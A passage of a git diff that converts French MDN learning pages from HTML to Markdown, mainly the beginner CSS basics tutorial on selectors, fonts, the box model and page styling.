vous êtes prêt à passer au module suivant. -<h4 id="Guides_fondamentaux_5">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/Forms">Fomulaires web</a> (40–50 heures)</li> -</ul> +- [Fomulaires web](/fr/docs/Learn/Forms) (40–50 heures) -<h3 id="Faire_profiter_le_Web_à_tout_le_monde">Faire profiter le Web à tout le monde</h3> +### Faire profiter le Web à tout le monde -<p>Temps nécessaire: 60–75 heures</p> +Temps nécessaire: 60–75 heures -<h4 id="Prérequis_7">Prérequis</h4> +#### Prérequis -<p>Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section. De nombreuses techniques et meilleures pratiques concernent de multiples technologies.</p> +Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section. De nombreuses techniques et meilleures pratiques concernent de multiples technologies. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose_6">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant..</p> +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.. -<h4 id="Guides_fondamentaux_6">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing">Tests multi-navigateurs</a> (25–30 heures de lecture/exercices)</li> - <li><a href="/fr/docs/Learn/Accessibility">Accessibilité</a> (20–25 heures de lecture/exercices)</li> -</ul> +- [Tests multi-navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing) (25–30 heures de lecture/exercices) +- [Accessibilité](/fr/docs/Learn/Accessibility) (20–25 heures de lecture/exercices) -<h3 id="Outils_modernes">Outils modernes</h3> +### Outils modernes -<p>Temps nécessaire: 55–90 heures</p> +Temps nécessaire: 55–90 heures -<h4 id="Prérequis_8">Prérequis</h4> +#### Prérequis -<p>Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section, car les outils abordés fonctionnent en parallèle avec bon nombre de ces technologies.</p> +Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section, car les outils abordés fonctionnent en parallèle avec bon nombre de ces technologies. -<h4 id="Comment_saurai-je_que_je_suis_prêt_à_passer_à_autre_chose_7">Comment saurai-je que je suis prêt à passer à autre chose ?</h4> +#### Comment saurai-je que je suis prêt à passer à autre chose ? -<p>Il n'y a pas d'articles d'évaluation spécifiques dans cet ensemble de modules. Les études de cas à la fin des deuxième et troisième modules vous préparent à saisir l'essentiel des outils modernes.</p> +Il n'y a pas d'articles d'évaluation spécifiques dans cet ensemble de modules. Les études de cas à la fin des deuxième et troisième modules vous préparent à saisir l'essentiel des outils modernes. -<h4 id="Guides_fondamentaux_7">Guides fondamentaux</h4> +#### Guides fondamentaux -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/GitHub">Git et GitHub</a> (5 heures de lecture)</li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools">Comprendre les outils de développement web côté client</a> (20–25 heures de lecture)</li> - <li> - <p><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Comprendre les frameworks JavaScript côté client</a> (30-60 heures de lecture/exercices)</p> - </li> -</ul> +- [Git et GitHub](/fr/docs/Learn/Tools_and_testing/GitHub) (5 heures de lecture) +- [Comprendre les outils de développement web côté client](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools) (20–25 heures de lecture) +- [Comprendre les frameworks JavaScript côté client](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks) (30-60 heures de lecture/exercices) diff --git a/files/fr/learn/getting_started_with_the_web/css_basics/index.md b/files/fr/learn/getting_started_with_the_web/css_basics/index.md index e4ea41e708..84f2801129 100644 --- a/files/fr/learn/getting_started_with_the_web/css_basics/index.md +++ b/files/fr/learn/getting_started_with_the_web/css_basics/index.md @@ -11,276 +11,243 @@ tags: translation_of: Learn/Getting_started_with_the_web/CSS_basics original_slug: Apprendre/Commencer_avec_le_web/Les_bases_CSS --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}} -<p>Les CSS (<em>Cascading Style Sheets</em> en anglais, ou « feuilles de style en cascade ») sont le code utilisé pour mettre en forme une page web. <em>Les bases des CSS</em> présentent ce qu'il faut savoir pour commencer. Nous répondrons à des questions comme : Comment rendre mon texte rouge ou noir ? Comment faire apparaître mon contenu à tel endroit de l'écran ? Comment décorer ma page web avec une image ou une couleur d'arrière-plan ?</p> +Les CSS (_Cascading Style Sheets_ en anglais, ou « feuilles de style en cascade ») sont le code utilisé pour mettre en forme une page web. _Les bases des CSS_ présentent ce qu'il faut savoir pour commencer. Nous répondrons à des questions comme : Comment rendre mon texte rouge ou noir ? Comment faire apparaître mon contenu à tel endroit de l'écran ? Comment décorer ma page web avec une image ou une couleur d'arrière-plan ? -<h2 id="Donc_que_sont_les_CSS_réellement">Donc, que sont les CSS, réellement ?</h2> +## Donc, que sont les CSS, réellement ? -<p>De la même façon que HTML, CSS n'est pas vraiment un langage de programmation. C'est un <em>langage de feuille de style</em>, c'est-à-dire qu'il permet d'appliquer des styles sur différents éléments sélectionnés dans un document HTML. Par exemple, on peut sélectionner <strong>tous</strong> les éléments d'une page HTML qui sont paragraphes et afficher leurs textes en rouge avec ce code CSS :</p> +De la même façon que HTML, CSS n'est pas vraiment un langage de programmation. C'est un _langage de feuille de style_, c'est-à-dire qu'il permet d'appliquer des styles sur différents éléments sélectionnés dans un document HTML. Par exemple, on peut sélectionner **tous** les éléments d'une page HTML qui sont paragraphes et afficher leurs textes en rouge avec ce code CSS : -<pre class="brush: css">p { +```css +p { color: red; -}</pre> +} +``` + +Faisons un essai : copiez ces trois lignes de code CSS dans un nouveau fichier dans votre éditeur de texte, puis sauvegardez le fichier sous le nom `style.css` dans votre répertoire `styles`. -<p>Faisons un essai : copiez ces trois lignes de code CSS dans un nouveau fichier dans votre éditeur de texte, puis sauvegardez le fichier sous le nom <code>style.css</code> dans votre répertoire <code>styles</code>.</p> +Pour que cela fonctionne, il faut appliquer le CSS au document HTML, sinon la mise en forme décrite dans le fichier CSS n'affectera pas l'affichage de la page HTML dans la navigateur (si vous n'avez pas suivi toutes les étapes pour arriver ici, vous pouvez lire l'article [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) et [Les bases du HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) pour savoir par où commencer). -<p>Pour que cela fonctionne, il faut appliquer le CSS au document HTML, sinon la mise en forme décrite dans le fichier CSS n'affectera pas l'affichage de la page HTML dans la navigateur (si vous n'avez pas suivi toutes les étapes pour arriver ici, vous pouvez lire l'article <a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a> et <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Les bases du HTML</a> pour savoir par où commencer).</p> +1. Ouvrez votre fichier `index.html` et copiez la ligne suivante quelque part au sein de l'élément `head` (c'est-à-dire entre les balises `<head>` et `</head>`) : -<ol> - <li>Ouvrez votre fichier <code>index.html</code> et copiez la ligne suivante quelque part au sein de l'élément <code>head</code> (c'est-à-dire entre les balises <code><head></code> et <code></head></code>) : + ```html + <link href="styles/style.css" rel="stylesheet" type="text/css"> + ``` - <pre class="brush: html"><link href="styles/style.css" rel="stylesheet" type="text/css"></pre> - </li> - <li>Sauvegardez <code>index.html</code> puis chargez-le dans votre navigateur. Vous devriez obtenir quelque chose comme :</li> -</ol> +2. Sauvegardez `index.html` puis chargez-le dans votre navigateur. Vous devriez obtenir quelque chose comme : -<p><img alt="A mozilla logo and some paragraphs. The paragraph text has been styled red by our css." src="website-screenshot-styled.png">Si le texte de votre paragraphe s'affiche en rouge, félicitations ! Vous venez d'écrire votre premier CSS fonctionnel !</p> +Si le texte de votre paragraphe s'affiche en rouge, félicitations ! Vous venez d'écrire votre premier CSS fonctionnel ! -<h3 id="Anatomie_d'une_règle_CSS">Anatomie d'une règle CSS</h3> +### Anatomie d'une règle CSS -<p>Regardons un peu plus en détails ce que nous avons écrit en CSS :</p> +Regardons un peu plus en détails ce que nous avons écrit en CSS : -<p><img alt="Diagramme expliquant les différents éléments d'une déclaration CSS" src="CSS.svg"></p> + -<p>Cette structure s'appelle <strong>un ensemble de règles </strong>(ou seulement « une règle »). Les différentes parties se nomment :</p> +Cette structure s'appelle **un ensemble de règles** (ou seulement « une règle »). Les différentes parties se nomment : -<dl> - <dt>Sélecteur</dt> - <dd>C'est le nom de l'élément HTML situé au début de l'ensemble de règles. Il permet de sélectionner les éléments sur lesquels appliquer le style souhaité (en l'occurence, les éléments <code>p</code>). Pour mettre en forme un élément différent, il suffit de changer le sélecteur.</dd> - <dt>Déclaration</dt> - <dd>C'est une règle simple comme <code>color: red;</code> qui détermine les <strong>propriétés</strong><strong> </strong>de l'élément que l'on veut mettre en forme.</dd> - <dt>Propriétés</dt> - <dd>Les différentes façons dont on peut mettre en forme un élément HTML (dans ce cas, <code>color</code> est une propriété des éléments <code>p</code>). En CSS, vous choisissez les différentes propriétés que vous voulez utiliser dans une règle CSS.</dd> - <dt>Valeur de la propriété</dt> - <dd>À droite de la propriété, après les deux points, on a <strong>la valeur de la propriété</strong>. Celle-ci permet de choisir une mise en forme parmi d'autres pour une propriété donnée (par exemple, il y a d'autres couleurs que <code>red</code> pour la propriété <code>color</code>).</dd> -</dl> +- Sélecteur + - : C'est le nom de l'élément HTML situé au début de l'ensemble de règles. Il permet de sélectionner les éléments sur lesquels appliquer le style souhaité (en l'occurence, les éléments `p`). Pour mettre en forme un élément différent, il suffit de changer le sélecteur. +- Déclaration + - : C'est une règle simple comme `color: red;` qui détermine les **propriétés\*\*** \*\*de l'élément que l'on veut mettre en forme. +- Propriétés + - : Les différentes façons dont on peut mettre en forme un élément HTML (dans ce cas, `color` est une propriété des éléments `p`). En CSS, vous choisissez les différentes propriétés que vous voulez utiliser dans une règle CSS. +- Valeur de la propriété + - : À droite de la propriété, après les deux points, on a **la valeur de la propriété**. Celle-ci permet de choisir une mise en forme parmi d'autres pour une propriété donnée (par exemple, il y a d'autres couleurs que `red` pour la propriété `color`). -<p>Les autres éléments importants de la syntaxe sont :</p> +Les autres éléments importants de la syntaxe sont : -<ul> - <li>chaque ensemble de règles, à l'exception du sélecteur, doit être entre accolades (<code>{}</code>).</li> - <li>pour chaque déclaration, il faut utiliser deux points (<code>:</code>) pour séparer la propriété de ses valeurs.</li> - <li>pour chaque ensemble de règles, il faut utiliser un point-virgule (<code>;</code>) pour séparer les déclarations entre elles.</li> -</ul> +- chaque ensemble de règles, à l'exception du sélecteur, doit être entre accolades (`{}`). +- pour chaque déclaration, il faut utiliser deux points (`:`) pour séparer la propriété de ses valeurs. +- pour chaque ensemble de règles, il faut utiliser un point-virgule (`;`) pour séparer les déclarations entre elles. -<p>Ainsi, si on veut modifier plusieurs propriétés d'un coup, on peut utiliser plusieurs déclarations dans une seule règle en les séparant par des points-virgules :</p> +Ainsi, si on veut modifier plusieurs propriétés d'un coup, on peut utiliser plusieurs déclarations dans une seule règle en les séparant par des points-virgules : -<pre class="brush: css">p { +```css +p { color: red; width: 500px; border: 1px solid black; -}</pre> +} +``` -<h3 id="Sélectionner_plusieurs_éléments">Sélectionner plusieurs éléments</h3> +### Sélectionner plusieurs éléments -<p>Il est aussi possible de sélectionner plusieurs types d'éléments pour appliquer à tous une même règle. Il suffit de placer plusieurs sélecteurs, séparés par des virgules. Par exemple :</p> +Il est aussi possible de sélectionner plusieurs types d'éléments pour appliquer à tous une même règle. Il suffit de placer plusieurs sélecteurs, séparés par des virgules. Par exemple : -<pre class="brush: css">p,li,h1 { +```css +p,li,h1 { color: red; -}</pre> - -<h3 id="Les_différents_types_de_sélecteurs">Les différents types de sélecteurs</h3> - -<p>Il y a différents types de sélecteurs. Dans les exemples précédents, nous n'avons vu que <strong>les sélecteurs d'élément</strong> qui permettent de sélectionner les éléments HTML d'un type donné dans un document HTML. Mais ce n'est pas tout, il est possible de faire des sélections plus spécifiques. Voici quelques-uns des types de sélecteur les plus fréquents :</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Nom du sélecteur</th> - <th scope="col">Ce qu'il sélectionne</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <td>Sélecteur d'élément (parfois appelé « sélecteur de balise » ou « sélecteur de type »)</td> - <td>Tous les éléments HTML d'un type donné.</td> - <td><code>p</code><br> - sélectionne tous les <code><p></code></td> - </tr> - <tr> - <td>Sélecteur d'ID</td> - <td>L'élément d'une page qui possède l'ID fourni (pour une page HTML donné, on ne peut avoir qu'un seul élément pour un ID donné).</td> - <td><code>#my-id</code><br> - sélectionne <code><p id="my-id"></code> ou <code><a id="my-id"></code></td> - </tr> - <tr> - <td>Sélecteur de classe</td> - <td>Les éléments d'une page qui sont de la classe donnée (pour une page donnée, il est possible d'avoir plusieurs éléments qui partagent une même classe).</td> - <td><code>.my-class</code><br> - sélectionne <code><p class="my-class"></code> et <code><a class="my-class!"></code></td> - </tr> - <tr> - <td>Sélecteur d'attribut</td> - <td>Les éléments de la page qui possèdent l'attribut donné.</td> - <td><code>img[src]</code><br> - sélectionne <code><img src="monimage.png"></code> mais pas <code><img></code></td> - </tr> - <tr> - <td>Sélecteur de pseudo-classe</td> - <td>Les éléments donnés mais uniquement dans un certain état (par exemple quand on passe la souris dessus).</td> - <td><code>a:hover</code><br> - sélectionne <code><a></code> mais uniquement quand le pointeur de la souris est au-dessus du lien.</td> - </tr> - </tbody> -</table> - -<p>Il existe plein d'autres sélecteurs, pour tous les découvrir, vous pouvez lire notre <a href="/fr/docs/CSS/Premiers_pas/Les_sélecteurs">guide sur les sélecteurs</a>.</p> - -<h2 id="Les_polices_(fontes)_et_le_texte">Les polices (fontes) et le texte</h2> - -<p>Maintenant que nous avons vu quelques bases de CSS, ajoutons quelques règles et informations à notre fichier <code>style.css</code> pour que notre exemple soit réussi. Tout d'abord, améliorons les polices et le texte.</p> - -<ol> - <li>Pour commencer, revenez quelques étapes en arrière et récupérez le <a href="/fr/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Font">résultat de Google Fonts</a> enregistré quelque part. Ensuite, ajoutez l'élément <code><link ... ></code> quelque part au sein de <code>head</code> dans le fichier <code>index.html</code> (c'est-à-dire quelque part entre les balises <code><head></code> et <code></head></code>). Ça devrait ressembler à : - - <pre class="brush: html"><link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'></pre> - </li> - <li>Ensuite, supprimez la règle existante dans votre fichier <code>style.css</code>. Cette règle était pratique pour tester mais afficher du texte en rouge n'est pas la meilleure des mises en forme.</li> - <li>Ajoutez les lignes suivantes à leur place, en remplaçant la ligne avec <code>modèle</code> avec la ligne fournie par Google Fonts qui contient <code>font-family</code> (<code>font-family</code> représente la (ou les) police(s) qu'on veut utiliser pour le texte). Ce premier ensemble de règles définit une police de base et sa taille pour toute la page (<code><html></code> est l'élément parent de tous les éléments de la page, tous les éléments contenus dans la page hériteront donc de la même <code>font-size</code> et <code>font-family</code>) : - <pre class="brush: css">html { - font-size: 10px; /* px signifie 'pixels': la taille de base pour la police est désormais 10 pixels de haut */ - font-family: 'Open Sans', sans-serif; /* cela devrait être le reste du résultat obtenu à partir de Google fonts */ -}</pre> - - <div class="note"> - <p><strong>Note :</strong> Tout ce qui est entre <code>/*</code> et <code>*/</code> dans un document CSS est un <strong>commentaire</strong> <strong>de CSS. </strong> Le navigateur l'ignorera dans le rendu du code. C'est un endroit commode pour écrire des notes à propos de ce que vous faites.</p> - </div> - </li> - <li>Ensuite, fixons les tailles des différents textes contenus dans le corps du HTML ({{htmlelement("h1")}}, {{htmlelement("li")}}, et {{htmlelement("p")}}). Nous allons également centrer le texte du titre et donner une taille de ligne et un espacement de caractère entre les lettres pour que le contenu du corps (<em>body</em>) du document soit plus lisible : - <pre class="brush: css">h1 { - font-size: 60px; - text-align: center; } +``` + +### Les différents types de sélecteurs + +Il y a différents types de sélecteurs. Dans les exemples précédents, nous n'avons vu que **les sélecteurs d'élément** qui permettent de sélectionner les éléments HTML d'un type donné dans un document HTML. Mais ce n'est pas tout, il est possible de faire des sélections plus spécifiques. Voici quelques-uns des types de sélecteur les plus fréquents : + +| Nom du sélecteur | Ce qu'il sélectionne | Exemple | +| ------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------- | +| Sélecteur d'élément (parfois appelé « sélecteur de balise » ou « sélecteur de type ») | Tous les éléments HTML d'un type donné. | `p` sélectionne tous les `<p>` | +| Sélecteur d'ID | L'élément d'une page qui possède l'ID fourni (pour une page HTML donné, on ne peut avoir qu'un seul élément pour un ID donné). | `#my-id` sélectionne `<p id="my-id">` ou `<a id="my-id">` | +| Sélecteur de classe | Les éléments d'une page qui sont de la classe donnée (pour une page donnée, il est possible d'avoir plusieurs éléments qui partagent une même classe). | `.my-class` sélectionne `<p class="my-class">` et `<a class="my-class!">` | +| Sélecteur d'attribut | Les éléments de la page qui possèdent l'attribut donné. | `img[src]` sélectionne `<img src="monimage.png">` mais pas `<img>` | +| Sélecteur de pseudo-classe | Les éléments donnés mais uniquement dans un certain état (par exemple quand on passe la souris dessus). | `a:hover` sélectionne `<a>` mais uniquement quand le pointeur de la souris est au-dessus du lien. | + +Il existe plein d'autres sélecteurs, pour tous les découvrir, vous pouvez lire notre [guide sur les sélecteurs](/fr/docs/CSS/Premiers_pas/Les_sélecteurs). + +## Les polices (fontes) et le texte + +Maintenant que nous avons vu quelques bases de CSS, ajoutons quelques règles et informations à notre fichier `style.css` pour que notre exemple soit réussi. Tout d'abord, améliorons les polices et le texte. + +1. Pour commencer, revenez quelques étapes en arrière et récupérez le [résultat de Google Fonts](/fr/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Font) enregistré quelque part. Ensuite, ajoutez l'élément `<link ... >` quelque part au sein de `head` dans le fichier `index.html` (c'est-à-dire quelque part entre les balises `<head>` et `</head>`). Ça devrait ressembler à : -p, li { - font-size: 16px; - line-height: 2; - letter-spacing: 1px; -}</pre> - </li> -</ol> + ```html + <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'> + ``` -<p>Vous pouvez ajuster ces valeurs en <code>px</code> comme vous voulez pour que le style obtenu soit celui que vous souhaitez. Vous devriez obtenir quelque chose comme ça :</p> +2. Ensuite, supprimez la règle existante dans votre fichier `style.css`. Cette règle était pratique pour tester mais afficher du texte en rouge n'est pas la meilleure des mises en forme. +3. Ajoutez les lignes suivantes à leur place, en remplaçant la ligne avec `modèle` avec la ligne fournie par Google Fonts qui contient `font-family` (`font-family` représente la (ou les) police(s) qu'on veut utiliser pour le texte). Ce premier ensemble de règles définit une police de base et sa taille pour toute la page (`<html>` est l'élément parent de tous les éléments de la page, tous les éléments contenus dans la page hériteront donc de la même `font-size` et `font-family`) : -<p><img alt="a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered" src="website-screenshot-font-small.png"></p> + ```css + html { + font-size: 10px; /* px signifie 'pixels': la taille de base pour la police est désormais 10 pixels de haut */ + font-family: 'Open Sans', sans-serif; /* cela devrait être le reste du résultat obtenu à partir de Google fonts */ + } + ``` -<h2 id="Boîtes_boîtes_encore_et_toujours_des_boîtes">Boîtes, boîtes, encore et toujours des boîtes</h2> + > **Note :** Tout ce qui est entre `/*` et `*/` dans un document CSS est un **commentaire** **de CSS.** Le navigateur l'ignorera dans le rendu du code. C'est un endroit commode pour écrire des notes à propos de ce que vous faites. -<p>Vous verrez rapidement qu'avec les CSS, tout tourne autour de boîtes : définir leurs tailles, leurs couleurs, leurs positions, etc. Les éléments HTML d'une page peuvent, pour la plupart, être vus comme des boîtes placées les unes sur les autres.</p> +4. Ensuite, fixons les tailles des différents textes contenus dans le corps du HTML ({{htmlelement("h1")}}, {{htmlelement("li")}}, et {{htmlelement("p")}}). Nous allons également centrer le texte du titre et donner une taille de ligne et un espacement de caractère entre les lettres pour que le contenu du corps (_body_) du document soit plus lisible : -<p><img alt="a big stack of boxes or crates sat on top of one another" src="boxes.jpg"></p> + ```css + h1 { + font-size: 60px; + text-align: center; + } -<p>C'est pour cette raison que l'architecture de CSS est principalement basée sur un <em>modèle de boîtes</em>.<em> </em>Chacun de ces blocs prend un certain espace sur la page, de cette façon :</p> + p, li { + font-size: 16px; + line-height: 2; + letter-spacing: 1px; + } + ``` -<ul> - <li><code>padding</code>, l'espace autour, proche du contenu (par exemple, l'espace autour du texte d'un paragraphe) (en français, on pourrait traduire cela par du « remplissage » mais le terme <em>padding</em> étant communément utilisé lorsqu'on parle de CSS, on continuera à utiliser ce terme)</li> - <li><code>border</code>, la ligne qui est juste autour du <em>padding </em>(en français cela correspond à la bordure)</li> - <li><code>margin</code>, l'espace extérieur, autour de l'élément (en français cela correspond à la marge)</li> -</ul> +Vous pouvez ajuster ces valeurs en `px` comme vous voulez pour que le style obtenu soit celui que vous souhaitez. Vous devriez obtenir quelque chose comme ça : -<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="box-model.png"></p> + -<p>Dans cette section, nous utilisons aussi :</p> +## Boîtes, boîtes, encore et toujours des boîtes -<ul> - <li><code>width</code> (la largeur de l'élément)</li> - <li><code>background-color</code>, la couleur derrière le contenu de l'élément et son <em>padding</em></li> - <li><code>color</code>, la couleur du contenu de l'élément (généralement du texte)</li> - <li><code>text-shadow</code>, affiche une ombre portée sur le texte à l'intérieur de l'élément</li> - <li><code>display</code>, définit le mode d'affichage d'un élément (on ne s'occupera pas de cette propriété pour le moment)</li> -</ul> +Vous verrez rapidement qu'avec les CSS, tout tourne autour de boîtes : définir leurs tailles, leurs couleurs, leurs positions, etc. Les éléments HTML d'une page peuvent, pour la plupart, être vus comme des boîtes placées les unes sur les autres. -<p>Allons-y : ajoutons un peu plus de CSS à notre page ! Continuez d'ajouter ces nouvelles règles à la suite des autres. N'ayez pas peur d'expérimenter et de tester différentes valeurs pour voir ce qu'elles font.</p> + -<h3 id="Changer_la_couleur_de_la_page">Changer la couleur de la page</h3> +C'est pour cette raison que l'architecture de CSS est principalement basée sur un _modèle de boîtes_.\* \*Chacun de ces blocs prend un certain espace sur la page, de cette façon : -<pre class="brush: css">html { +- `padding`, l'espace autour, proche du contenu (par exemple, l'espace autour du texte d'un paragraphe) (en français, on pourrait traduire cela par du « remplissage » mais le terme _padding_ étant communément utilisé lorsqu'on parle de CSS, on continuera à utiliser ce terme) +- `border`, la ligne qui est juste autour du _padding_ (en français cela correspond à la bordure) +- `margin`, l'espace extérieur, autour de l'élément (en français cela correspond à la marge) + + + +Dans cette section, nous utilisons aussi : + +- `width` (la largeur de l'élément) +- `background-color`, la couleur derrière le contenu de l'élément et son _padding_ +- `color`, la couleur du contenu de l'élément (généralement du texte) +- `text-shadow`, affiche une ombre portée sur le texte à l'intérieur de l'élément +- `display`, définit le mode d'affichage d'un élément (on ne s'occupera pas de cette propriété pour le moment) + +Allons-y : ajoutons un peu plus de CSS à notre page ! Continuez d'ajouter ces nouvelles règles à la suite des autres. N'ayez pas peur d'expérimenter et de tester différentes valeurs pour voir ce qu'elles font. + +### Changer la couleur de la page + +```css +html { background-color: #00539F; -}</pre> +} +``` -<p>Cette règle permet de définir la couleur utilisée en arrière-plan pour toute la page. Vous pouvez ici utiliser la valeur que vous aviez choisie <a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site#Couleur_du_th%C3%A8me">lors de la conception de votre site</a>.</p> +Cette règle permet de définir la couleur utilisée en arrière-plan pour toute la page. Vous pouvez ici utiliser la valeur que vous aviez choisie [lors de la conception de votre site](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site#Couleur_du_th%C3%A8me). -<h3 id="Mettre_en_forme_le_corps_de_page">Mettre en forme le corps de page</h3> +### Mettre en forme le corps de page -<pre class="brush: css">body { +```css +body { width: 600px; margin: 0 auto; background-color: #FF9500; padding: 0 20px 20px 20px; border: 5px solid black; -}</pre> +} +``` -<p>Occupons-nous de l'élément <code>body</code>. Cet ensemble de règles contient plusieurs déclarations, étudions les, une par une :</p> +Occupons-nous de l'élément `body`. Cet ensemble de règles contient plusieurs déclarations, étudions les, une par une : -<ul> - <li><code>width: 600px;</code> — cette déclaration impose une largeur de 600 pixels pour le corps de la page.</li> - <li><code>margin: 0 auto;</code> — Ici on a deux valeurs pour la propriété. Lorsqu'on utilise deux valeurs sur une propriété comme <code>margin</code> ou <code>padding</code>, la première valeur est utilisée pour le haut <strong>et</strong> le bas de l'élément (dans ce cas : <code>0</code>) et la seconde valeur est utilisée pour les côtés gauche <strong>et</strong> droit (la valeur <code>auto</code> qu'on utilise ici est une valeur spéciale qui divise l'espace horizontal disponible en parts égales entre la gauche et la droite. Il est aussi possible d'utiliser une, trois ou quatre valeurs, pour plus d'informations, voir <a href="/fr/docs/Web/CSS/margin#Valeurs">cet article</a> qui explique comment cela fonctionne.</li> - <li><code>background-color: #FF9500;</code> — comme on l'a vu auparavant, cela permet de définir la couleur utilisée en arrière-plan. Ce code couleur correspond à un rouge orangé qui sera utilisé pour le corps de la page, cela permettra d'avoir un contraste avec le bleu foncé utilisé pour l'élément <code>html</code>. N'hésitez pas à modifier cette valeur pour voir ce que ça donne, vous pouvez utiliser <code>white</code> ou une autre valeur si vous préférez.</li> - <li><code>padding: 0 20px 20px 20px;</code> — ici on a quatre valeurs pour le <em>padding</em> afin de créer un peu d'espace autour du contenu. On n'a donc aucun espace pour le <em>padding</em> en haut du corps de la page, on a 20 pixels à gauche, en bas et à droite. Dans l'ordre, les valeurs correspondent au haut, à la droite, au bas et à la gauche.</li> - <li><code>border: 5px solid black;</code> — cette déclaration permet d'utiliser une bordure pleine, large de 5 pixels pour entourer tout le corps de la page.</li> -</ul> +- `width: 600px;` — cette déclaration impose une largeur de 600 pixels pour le corps de la page. +- `margin: 0 auto;` — Ici on a deux valeurs pour la propriété. Lorsqu'on utilise deux valeurs sur une propriété comme `margin` ou `padding`, la première valeur est utilisée pour le haut **et** le bas de l'élément (dans ce cas : `0`) et la seconde valeur est utilisée pour les côtés gauche **et** droit (la valeur `auto` qu'on utilise ici est une valeur spéciale qui divise l'espace horizontal disponible en parts égales entre la gauche et la droite. Il est aussi possible d'utiliser une, trois ou quatre valeurs, pour plus d'informations, voir [cet article](/fr/docs/Web/CSS/margin#Valeurs) qui explique comment cela fonctionne. +- `background-color: #FF9500;` — comme on l'a vu auparavant, cela permet de définir la couleur utilisée en arrière-plan. Ce code couleur correspond à un rouge orangé qui sera utilisé pour le corps de la page, cela permettra d'avoir un contraste avec le bleu foncé utilisé pour l'élément `html`. N'hésitez pas à modifier cette valeur pour voir ce que ça donne, vous pouvez utiliser `white` ou une autre valeur si vous préférez. +- `padding: 0 20px 20px 20px;` — ici on a quatre valeurs pour le _padding_ afin de créer un peu d'espace autour du contenu. On n'a donc aucun espace pour le _padding_ en haut du corps de la page, on a 20 pixels à gauche, en bas et à droite. Dans l'ordre, les valeurs correspondent au haut, à la droite, au bas et à la gauche. +- `border: 5px solid black;` — cette déclaration permet d'utiliser une bordure pleine, large de 5 pixels pour entourer tout le corps de la page. -<h3 id="Positionner_le_titre_et_le_mettre_en_forme">Positionner le titre et le mettre en forme</h3> +### Positionner le titre et le mettre en forme -<pre class="brush: css">h1 { +```css +h1 { margin: 0; padding: 20px 0; color: #00539F; text-shadow: 3px 3px 1px black; -}</pre> +} +``` -<p>Vous avez du remarquer qu'il y a un espace horrible en haut du corps de la page. Cela est dû au fait que les navigateurs appliquent un <strong>style par défaut</strong> à l'élément {{htmlelement("h1")}} (entre autres), même quand vous n'avez défini aucune règle CSS ! À première vue, on pourrait penser que c'est une mauvaise idée et que ce n'est pas au navigateur de décider de la mise en forme. Toutefois, il est préférable que n'importe quelle page, même celles qui n'utilisent pas de CSS, puissent être lisibles et que le lecteur puisse distinguer un titre d'un paragraphe. Pour se débarrasser de cet espace, on « surcharge » le style par défaut avec une marge nulle grâce à <code>margin: 0;</code>.</p> +Vous avez du remarquer qu'il y a un espace horrible en haut du corps de la page. Cela est dû au fait que les navigateurs appliquent un **style par défaut** à l'élément {{htmlelement("h1")}} (entre autres), même quand vous n'avez défini aucune règle CSS ! À première vue, on pourrait penser que c'est une mauvaise idée et que ce n'est pas au navigateur de décider de la mise en forme. Toutefois, il est préférable que n'importe quelle page, même celles qui n'utilisent pas de CSS, puissent être lisibles et que le lecteur puisse distinguer un titre d'un paragraphe. Pour se débarrasser de cet espace, on « surcharge » le style par défaut avec une marge nulle grâce à `margin: 0;`. -<p>Ensuite, nous ajoutons 20 pixels de padding en haut et en bas du titre et on prend la même couleur pour la police que celle utilisée pour l'arrière-plan de <code>html</code>.</p> +Ensuite, nous ajoutons 20 pixels de padding en haut et en bas du titre et on prend la même couleur pour la police que celle utilisée pour l'arrière-plan de `html`. -<p>Une propriété intéressante qu'on a utilisé ici est <code>text-shadow</code>. Cette propriété permet d'applique une ombre au contenu de l'élément. La déclaration utilise quatre valeurs :</p> +Une propriété 